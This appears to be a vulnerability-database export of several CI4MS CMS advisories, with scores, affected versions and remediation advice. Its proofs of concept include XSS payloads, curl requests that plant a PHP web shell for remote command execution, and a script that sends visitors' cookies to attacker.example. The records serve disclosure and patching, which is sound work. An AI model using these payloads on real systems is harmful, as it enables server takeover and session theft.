CI4MS: Company Information Public-Facing Page Full Platform Compromise & Full Account Takeover for All Roles & Privilege-Escalation via System Settings Company Information Stored DOM XSS
An attacker can acheive Full Account Takeover & Privilege Escalation via Stored DOM Blind XSS on public-facing landing pages through the System Settings Company Information section which allows the injection of XSS payloads
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35035
reference_id
reference_type
scores
0
value 0.0002
scoring_system epss
scoring_elements 0.05863
published_at 2026-06-08T12:55:00Z
1
value 0.0002
scoring_system epss
scoring_elements 0.05907
published_at 2026-06-07T12:55:00Z
2
value 0.0002
scoring_system epss
scoring_elements 0.05906
published_at 2026-06-06T12:55:00Z
3
value 0.0002
scoring_system epss
scoring_elements 0.05888
published_at 2026-06-09T12:55:00Z
4
value 0.0002
scoring_system epss
scoring_elements 0.05914
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35035
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.2.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.2.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-5ghq-42rg-769x
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-07T15:46:26Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-5ghq-42rg-769x
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35035
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35035
5
reference_url https://github.com/advisories/GHSA-5ghq-42rg-769x
reference_id GHSA-5ghq-42rg-769x
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5ghq-42rg-769x
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.2
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.2
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.2.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.2.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-8x3z-1p5j-6qfa
2
vulnerability VCID-c1ux-y4qk-xfch
3
vulnerability VCID-cd9w-5f22-xkfk
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.2.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.2%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.2%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.2%252B0
aliases CVE-2026-35035, GHSA-5ghq-42rg-769x
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-6nzs-j8gz-9ucu
5
url VCID-7eme-yx6r-63ad
vulnerability_id VCID-7eme-yx6r-63ad
summary
ci4-cms-erp/ci4ms: System Settings (Mail Settings) Full Platform Compromise & Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
## Summary
### **Vulnerability: Stored DOM XSS via System Settings – Mail Settings (Same-Page Attribute Breakout & Persistent Payload Injection)**
- Stored Cross-Site Scripting via Unsanitized Mail Settings Configuration Fields

### Description
The application fails to properly sanitize user-controlled input within **System Settings – Mail Settings**. Several configuration fields, including **Mail Server, Mail Port, Email Address, Email Password, Mail Protocol, and TLS settings**, accept attacker-controlled input that is stored server-side and later rendered without proper output encoding.

Unlike public-facing XSS that executes on landing pages, this vulnerability executes immediately on the same settings page. The injected payload breaks out of the HTML attribute context and is interpreted by the browser when rendered, resulting in same-page DOM-based XSS.

This represents different functionality and a separate vulnerability from landing-page injection.

### Example Affected Fields
- Mail Server: `test`
- Mail Port: `465`
- Email Address: `simple@gmail.com`
- Email Password: (any input)
- Mail Protocol: `SMTP`
- Domain: `simple@domain.com`

### Affected Functionality
- System Settings – Mail Settings configuration
- Same-page rendering of user-controlled input fields
- DOM attribute injection within form inputs
- Storage and retrieval of mail configuration values

### Attack Scenario
- An attacker injects a malicious JavaScript payload into one or more Mail Settings fields.
- The payload breaks out of the HTML attribute context.
- The application stores and re-renders the payload without sanitization or encoding.
- The payload executes immediately on the same settings page.
- The script executes in the browser context of the authenticated user managing Mail Settings.

### Impact
- Persistent Stored XSS
- Immediate Same-Page DOM XSS execution
- Execution of arbitrary JavaScript in victims’ browsers
- Administrative privilege escalation
- Full administrator account takeover
- Full account takeover across all roles
- Full compromise of the entire platform

Endpoints:
- `/backend/settings/` (Mail Settings)

## Steps To Reproduce (POC)
1. Navigate to System Settings -> Mail Settings
2. Insert the following XSS payload into any Mail Settings field:
`test"><img src=1 onerror=alert()>" class="form-control" placeholder="Name" required>`
3. Save the settings
4. Observe that the payload breaks out of the input attribute context
5. The XSS executes immediately on the same page

## Remediation
- Never use .html() or any innerHTML-style sinks for user-controlled input in PHP or JavaScript.
- Apply proper **HTML encoding and input sanitization** for all configuration fields.
- Enforce CSP, HttpOnly, SameSite, and Secure flags for cookies to reduce the severity of XSS and potential CSRF escalation.
- Audit all other system settings fields for similar attribute injection vulnerabilities.

# Ready Video POC:
https://mega.nz/file/KRNhUI6Q#NGC3Bow3RlnmdU1H2bGu1BGbpfIc-awi6IlvTp08V1s
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-27599
reference_id
reference_type
scores
0
value 0.00033
scoring_system epss
scoring_elements 0.10016
published_at 2026-06-05T12:55:00Z
1
value 0.00034
scoring_system epss
scoring_elements 0.10445
published_at 2026-06-09T12:55:00Z
2
value 0.00034
scoring_system epss
scoring_elements 0.10421
published_at 2026-06-08T12:55:00Z
3
value 0.00034
scoring_system epss
scoring_elements 0.10507
published_at 2026-06-07T12:55:00Z
4
value 0.00034
scoring_system epss
scoring_elements 0.10545
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-27599
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-66m2-v9v9-95c3
reference_id
reference_type
scores
0
value 4.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
1
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-02T14:08:02Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-66m2-v9v9-95c3
3
reference_url https://mega.nz/file/KRNhUI6Q#NGC3Bow3RlnmdU1H2bGu1BGbpfIc-awi6IlvTp08V1s
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://mega.nz/file/KRNhUI6Q#NGC3Bow3RlnmdU1H2bGu1BGbpfIc-awi6IlvTp08V1s
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-27599
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-27599
5
reference_url https://github.com/advisories/GHSA-66m2-v9v9-95c3
reference_id GHSA-66m2-v9v9-95c3
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-66m2-v9v9-95c3
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
2
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-27599, GHSA-66m2-v9v9-95c3
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-7eme-yx6r-63ad
6
url VCID-8hmq-7f3h-fyfw
vulnerability_id VCID-8hmq-7f3h-fyfw
summary
CI4MS: Blogs Posts (Categories) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
# Summary  
### **Vulnerability: Blogs Posts (Categories) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS**
- Stored Cross-Site Scripting via Unsanitized Blog Post Content in Blog Management (Categories)

### Description
The application fails to properly sanitize user-controlled input when creating or editing blog posts within the **Categories** section. An attacker can inject a malicious JavaScript payload into the **Categories** content, which is then stored server-side.

This stored payload is later rendered unsafely when the **Categories** are viewed via blog posts, without proper output encoding, leading to stored cross-site scripting (XSS).

### Affected Functionality
- Blog post **Categories** creation functionality
- Blog post **Categories** editing functionality
- Blog post **Categories** storage and retrieval logic

### Attack Scenario
- An attacker creates or edits a blog post **Category** to include a malicious XSS payload in the category description or name.
- The application stores this content without sanitization or encoding.
- The payload persists and executes whenever the category is viewed within the blog posts section, leading to the execution of arbitrary JavaScript in the victim’s browser.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators or privileged users within the **Categories** functionality
- Full administrator account takeover through **Categories** access
- Full account takeover across all roles via **Categories** pages
- Full compromise of the entire application via XSS in **Categories**

**Endpoints:**
- `/backend/blogs/create` (Categories specific)
- `/backend/blogs/` (Categories view)
- `/blog/{id}` (Rendered blog post under Categories)

## Steps To Reproduce (POC)
1. Go to the **Categories** section of the blog management panel.
2. Create a new category or edit an existing category.
3. Insert an XSS payload into the category content, such as:
`<img src=x onerror=alert(document.domain)>`
4. Save or publish the Categories.
5. View the category via the blog posts in the administrative panel or public blog page under the Categories section.
6. Notice the XSS payload executing automatically when the Category is viewed in the Blog Posts.

## Remediation

- **Avoid unsafe DOM manipulation methods:** Do not use `.html()`, `innerHTML`, or similar sink functions in client-side JavaScript or server-side templating (e.g., PHP). Even when user input flowing into these sinks is not immediately apparent, they can introduce Cross-Site Scripting (XSS) vulnerabilities that an attacker may exploit.

- **Apply output encoding:** Implement HTML entity encoding on all user-controlled data before rendering it in the browser. This helps neutralize potentially malicious input.

- **Implement input sanitization:** Ensure that all user-supplied input is properly sanitized before processing or output. Currently, no sanitization mechanisms are in place, which should be addressed as a priority.

- **Enforce security headers and cookie attributes:**
  - **Content Security Policy (CSP):** Define and enforce a strict CSP to limit the execution of unauthorized scripts.
  - **HttpOnly flag:** Set the `HttpOnly` attribute on session cookies to prevent client-side script access.
  - **SameSite attribute:** Configure the `SameSite` cookie attribute to mitigate Cross-Site Request Forgery (CSRF) risks.
  - **Secure flag:** Ensure all cookies are transmitted only over HTTPS by enabling the `Secure` attribute.

  These measures collectively reduce the impact of XSS and help prevent escalation paths such as CSRF via XSS.

# Ready Video POC:
https://mega.nz/file/SAdVxK7b#kFW_sFOim_d_1AnVcpwvzOEV4MHv33LLooL4Xa_Ymgg
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-34567
reference_id
reference_type
scores
0
value 0.0005
scoring_system epss
scoring_elements 0.15912
published_at 2026-06-06T12:55:00Z
1
value 0.0005
scoring_system epss
scoring_elements 0.15872
published_at 2026-06-07T12:55:00Z
2
value 0.0005
scoring_system epss
scoring_elements 0.15923
published_at 2026-06-05T12:55:00Z
3
value 0.00058
scoring_system epss
scoring_elements 0.18312
published_at 2026-06-09T12:55:00Z
4
value 0.00058
scoring_system epss
scoring_elements 0.18292
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-34567
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-r33w-c82v-x5v7
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-r33w-c82v-x5v7
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-34567
reference_id
reference_type
scores
0
value 9.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-34567
5
reference_url https://github.com/advisories/GHSA-r33w-c82v-x5v7
reference_id GHSA-r33w-c82v-x5v7
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-r33w-c82v-x5v7
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2v9s-x9dt-8ugb
1
vulnerability VCID-6nzs-j8gz-9ucu
2
vulnerability VCID-8x3z-1p5j-6qfa
3
vulnerability VCID-c1ux-y4qk-xfch
4
vulnerability VCID-e9xp-rar3-c7bp
5
vulnerability VCID-fjcm-syrk-87fg
6
vulnerability VCID-j32w-tcpz-1fak
7
vulnerability VCID-mds3-7xh3-mkgv
8
vulnerability VCID-p1q2-w18a-3kae
9
vulnerability VCID-qrag-mndk-xbb7
10
vulnerability VCID-ux28-acyz-kqd1
11
vulnerability VCID-w12h-33nr-bufh
12
vulnerability VCID-ye3h-3tu7-p3e7
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0.0
1
url pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.31.0%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.31.0%252B0
aliases CVE-2026-34567, GHSA-r33w-c82v-x5v7
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-8hmq-7f3h-fyfw
7
url VCID-8j49-k5yj-3kes
vulnerability_id VCID-8j49-k5yj-3kes
summary
CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor
**Summary**

A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.

**Vulnerability Details**

The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.

Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.

Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.

An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.

**Impact**

Successful exploitation allows:

Full access to the server's file system and databases.

Execution of arbitrary OS commands.

Permanent modification or deletion of application data.

Steps to Reproduce

Log in to an account with permissions to use the file editor.

Create a new PHP file in a public directory using the following request:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'
```

Inject a PHP payload into the file using the save endpoint:

```
curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'
```

Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami

Suggested Mitigation

Path Validation: Restrict file operations to non-executable directories.

Extension `Whitelist`ing: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.

Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.

Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25510
reference_id
reference_type
scores
0
value 0.00183
scoring_system epss
scoring_elements 0.39785
published_at 2026-06-08T12:55:00Z
1
value 0.00183
scoring_system epss
scoring_elements 0.39838
published_at 2026-06-06T12:55:00Z
2
value 0.00183
scoring_system epss
scoring_elements 0.39835
published_at 2026-06-05T12:55:00Z
3
value 0.00183
scoring_system epss
scoring_elements 0.39802
published_at 2026-06-09T12:55:00Z
4
value 0.00183
scoring_system epss
scoring_elements 0.39812
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25510
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653
reference_id
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-04T16:28:51Z/
url https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25510
reference_id CVE-2026-25510
reference_type
scores
0
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25510
4
reference_url https://github.com/advisories/GHSA-gp56-f67f-m4px
reference_id GHSA-gp56-f67f-m4px
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gp56-f67f-m4px
5
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4px
reference_id GHSA-gp56-f67f-m4px
reference_type
scores
0
value 10
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value 9.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-04T16:28:51Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4px
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.28.5%2B0
purl pkg:composer/ci4-cms-erp/ci4ms@0.28.5%2B0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/ci4-cms-erp/ci4ms@0.28.5%252B0
aliases CVE-2026-25510, GHSA-gp56-f67f-m4px
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-8j49-k5yj-3kes
8
url VCID-8x3z-1p5j-6qfa
vulnerability_id VCID-8x3z-1p5j-6qfa
summary
CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization
## Summary

The Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo->content`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

## Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

**`modules/Blog/Controllers/Blog.php:82`**
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
```

The Pages module omits this rule in both create and update methods:

**`modules/Pages/Controllers/Pages.php:82`** (create)
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```

**`modules/Pages/Controllers/Pages.php:130`** (update)
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```

Content is stored directly without sanitization:

**`modules/Pages/Controllers/Pages.php:111`** (create path)
```php
'content' => $lData['content'],
```

**`modules/Pages/Controllers/Pages.php:157`** (update path)
```php
'content' => $lData['content'],
```

On the public frontend, the content is rendered as raw HTML without escaping:

**`app/Views/templates/default/pages.php:32`**
```php
<?php echo $pageInfo->content ?>
```

Note that the same template correctly escapes the title field on line 9 using `esc($pageInfo->title)`, further confirming the content output is an oversight.

The `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

## PoC

**Step 1: Create a page with XSS payload (requires admin session)**
```bash
curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'
```

**Step 2: Visit the page as any unauthenticated user**
```
https://target/tr/test-xss-page
```

**Expected result:** The `<script>` tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

## Impact

- **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators
- **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials
- **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors
- **Malware distribution:** Injected scripts can redirect visitors or load external payloads

The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.

## Recommended Fix

Add the `html_purify` validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:

**`modules/Pages/Controllers/Pages.php:82`** — change:
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```
to:
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
```

**`modules/Pages/Controllers/Pages.php:130`** — apply the same change:
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
```

Additionally, as defense-in-depth, escape content output in the view template or use the existing `esc()` helper with the `'raw'` context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39392
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.02498
published_at 2026-06-07T12:55:00Z
1
value 0.00014
scoring_system epss
scoring_elements 0.02443
published_at 2026-06-09T12:55:00Z
2
value 0.00014
scoring_system epss
scoring_elements 0.02483
published_at 2026-06-08T12:55:00Z
3
value 0.00014
scoring_system epss
scoring_elements 0.02552
published_at 2026-06-05T12:55:00Z
4
value 0.00014
scoring_system epss
scoring_elements 0.02555
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39392
1
reference_url https://github.com/ci4-cms-erp/ci4ms
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms
2
reference_url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0
3
reference_url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T16:05:19Z/
url https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39392
reference_id
reference_type
scores
0
value 5.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39392
5
reference_url https://github.com/advisories/GHSA-fjpj-6qcq-6pw2
reference_id GHSA-fjpj-6qcq-6pw2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-fjpj-6qcq-6pw2
fixed_packages
0
url pkg:composer/ci4-cms-erp/ci4ms@0.31.4.0
